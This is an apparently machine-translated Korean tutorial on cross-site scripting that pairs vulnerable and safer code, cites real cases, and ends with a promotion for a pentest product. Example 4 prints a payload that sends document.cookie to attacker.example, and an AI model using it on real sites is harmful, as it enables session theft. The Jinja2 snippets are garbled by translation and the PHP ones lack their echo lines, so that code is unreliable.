크로스 사이트 스크립팅(XSS) 는 공격자가 다른 사용자가 보는 웹 페이지에 악성 코드(주로 JavaScript)를 삽입하는 웹 취약점입니다. 삽입된 코드는 신뢰할 수 있는 사이트 컨텍스트에서 피해자의 브라우저에서 실행되어 공격자가 쿠키 탈취, 세션 탈취, 데이터 유출 또는 사용자 대신 작업을 수행할 수 있게 합니다.
2025년에도 XSS가 글로벌 문제로 남는 이유
XSS는 수십 년 동안 가장 일반적인 웹 취약점 중 하나로 지속되어 왔습니다. 1990년대 후반에 웹 플랫폼에서 동적 콘텐츠와 사용자 생성 입력이 증가하면서 처음 널리 알려지기 시작했습니다.
최근 조사에 따르면 XSS는 특히 최신 프레임워크, API, 동적 렌더링, 리치 텍스트 콘텐츠, 써드파티 통합 등 웹 애플리케이션에 지속적으로 영향을 미치고 있는 것으로 확인되었습니다.
적절한 위생 처리 또는 출력 인코딩 없이 주석부터 JSON API까지 사용자 입력을 허용하는 모든 웹 애플리케이션은 여전히 위험에 노출되어 있습니다.

실제 XSS 침해 사례
ERPNext / Frappe - CVE-2025-56379 저장된 XSS
2025년에 ERPNext/Frappe는 블로그 모듈(버전 15.67.0 / 15.72.4)에 저장된 XSS 취약점을 공개했습니다. 인증된 사용자는 악성 HTML/자바스크립트를 삽입하여 콘텐츠 필드로 이동합니다. 블로그 게시물을 보는 사용자의 브라우저에서 페이로드가 실행되어 세션 하이재킹 및 데이터 도용의 위험이 있습니다.
이는 잘 관리되는 오픈소스 플랫폼이라도 사용자가 생성한 HTML이 적절한 위생 처리 없이 렌더링되면 취약하다는 것을 보여줍니다.
역사적 사례: 마이스페이스의 새미 웜 (2005)
새미 웜은 마이스페이스 사용자 프로필의 XSS를 악용했습니다. 20시간 만에 100만 개 이상의 프로필로 확산되어 XSS가 어떻게 빠르게 전파되고 사용자 세션을 탈취할 수 있는지 보여주었습니다.
XSS 및 공격 벡터의 유형
XSS는 여러 가지 변형이 있습니다:
| 유형 | 설명 | 일반적인 공격 벡터 |
|---|---|---|
| 반영된 XSS | 요청부터 응답까지 페이로드가 즉시 반영됩니다. | URL 매개변수, 검색 필드 |
| 저장된 XSS | 페이로드는 서버에 저장되고 나중에 실행됩니다. | 댓글, 블로그, 사용자 프로필 |
| DOM 기반 XSS | 안전하지 않은 콘텐츠를 삽입하는 클라이언트 측 스크립트 | 단일 페이지 앱, URL 해시, JS 템플릿 |
| 블라인드 XSS | 즉각적인 피드백 없이 페이로드 실행 | 관리자 대시보드, 로그, 이메일 |
최신 공격에는 치료제를 회피하고 블라인드 XSS 조건을 트리거할 수 있는 다중 언어 페이로드도 포함됩니다. (arxiv.org)
XSS 공격의 결과
- 세션 하이재킹 및 계정 탈취
- 무단 행위/사용자 사칭
- 데이터 도난/민감한 정보 노출
- 훼손, 피싱 또는 소셜 엔지니어링
- 지속적인 멀웨어 전송
소규모 웹 애플리케이션도 사용자 입력을 안전하지 않게 표시하면 위험에 처할 수 있습니다.
공격 및 방어 예시
예제 1 - 반영된 XSS(PHP + HTML)
취약한:
php
<?php $search = $_GET['q'] ?? '';?><html> <body> <p>검색 결과:</p> </body> </html>
더 안전한 버전:
php
<?php $search = $_GET['q'] ?? '';$safe = htmlspecialchars($search, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');?><html> <body> <p>검색 결과:</p> </body> </html>

예제 2 - 주석에 저장된 XSS(JavaScript + HTML)
취약한 렌더링:
html
<div class="comments"><p class="user-comment">{{comment_from_db}}</p></div>
DOMPurify를 사용한 안전한 렌더링:
html
<script src="<https://unpkg.com/[email protected]/dist/purify.min.js>"></script><script> const raw = userCommentFromServer;const clean = DOMPurify.sanitize(raw);document.querySelector('.user-comment').innerHTML = clean;</script>
예제 3 - URL을 통한 DOM 기반 XSS
취약한:
자바스크립트
const msg = document.getElementById('msg'); msg.innerHTML = location.hash.substring(1);
안전합니다:
자바스크립트
const msg = document.getElementById('msg'); msg.textContent = location.hash.substring(1);
예 4 - 블라인드/지연된 XSS
공격 페이로드:
html
<img src="x" onerror="fetch('<https://attacker.example/p?c='+document.cookie>)">
방어:
- 서버 측에서 사용자 HTML 입력 살균
- 엄격한 HTML 태그/속성 화이트리스트 적용
- 콘텐츠 보안 정책(CSP) 적용
pgsql
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none';
예제 5 - JSON API 삽입(자바스크립트)
취약한:
자바스크립트
fetch('/api/user/123') .then(res => res.json()) .then(data => {document.getElementById('username').innerHTML = data.username; });
안전합니다:
자바스크립트
fetch('/api/user/123') .then(res => res.json()) .then(data => {document.getElementById('username').textContent = data.username; });
예제 6 - 템플릿 삽입(Python / Jinja2)
취약한:
python
jinja2에서 템플릿 사용자 입력 = "{{7*7}}"tpl = 템플릿(사용자 입력)인쇄(tpl.렌더링()) 가져오기
안전합니다:
python
jinja2.sandbox에서 샌드박스 환경 가져오기 env = 샌드박스 환경() tpl = env.from_string(사용자_입력)인쇄(tpl.렌더링())

깃허브에서 얻은 실제 교훈 (2018)
GitHub에는 마크다운 렌더링에 저장된 XSS가 있었습니다. 사용자는 README 파일에 JS 코드를 삽입할 수 있었고, 리포지토리 페이지를 여는 모든 방문자는 코드를 실행할 수 있었습니다. GitHub는 입력을 살균하고 허용되는 HTML 태그를 제한하여 이 문제를 해결했습니다. (GitHub 보안)
최신 워크플로에 XSS 방지 통합
- 출력 인코딩 및 살균 모든 컨텍스트에서 HTML, JS, CSS, URL
- 최신 소독제 사용: DOMPurify, 서버 측 이스케이프 라이브러리, 자동 이스케이프 기능이 있는 템플릿 엔진
- CSP 적용인라인 스크립트 방지 및 스크립트 소스 제한
- 자동화된 테스트정적 분석, 동적 스캐닝, 퍼징, 블라인드 XSS 테스트
- 수동 침투 테스트복잡한 또는 다단계 주입 벡터 검증
- 감사 및 모니터링의심스러운 입력 기록, 관리자/타사 콘텐츠 검토, 코드 검토 시행
자동화된 XSS 테스트를 위한 펜리전트 통합
최신 보안 팀은 다음과 같은 지능형 모의 침투 테스트 플랫폼을 활용할 수 있습니다. 펜리전트 를 사용하여 여러 컨텍스트에서 XSS 탐지를 자동화할 수 있습니다:
- 반사, 저장, DOM 및 블라인드 XSS 벡터에 대한 지속적인 스캔
- 자동화된 페이로드 주입 및 분석
- 보고 및 해결 제안
- DevSecOps 워크플로우를 위한 CI/CD 파이프라인과의 통합
펜리전트를 사용하면 팀은 수작업을 줄이고, 적용 범위를 개선하며, 진화하는 XSS 위협으로부터 지속적으로 보호할 수 있습니다.
요약
- XSS는 수십 년에 걸친 인식에도 불구하고 여전히 최고의 웹 취약점으로 남아 있습니다.
- 방어를 위해서는 인코딩, 위생 처리, CSP, 안전한 API, 지속적인 테스트 등 다층적인 조치가 필요합니다.
- 자동 및 수동 테스트를 결합하여 특히 최신 동적 애플리케이션에서 강력한 보호 기능을 제공합니다.
- 다음과 같은 지능형 플랫폼 펜리전트 는 보안 워크플로우를 개선하여 XSS를 선제적으로 탐지하고 완화할 수 있습니다.

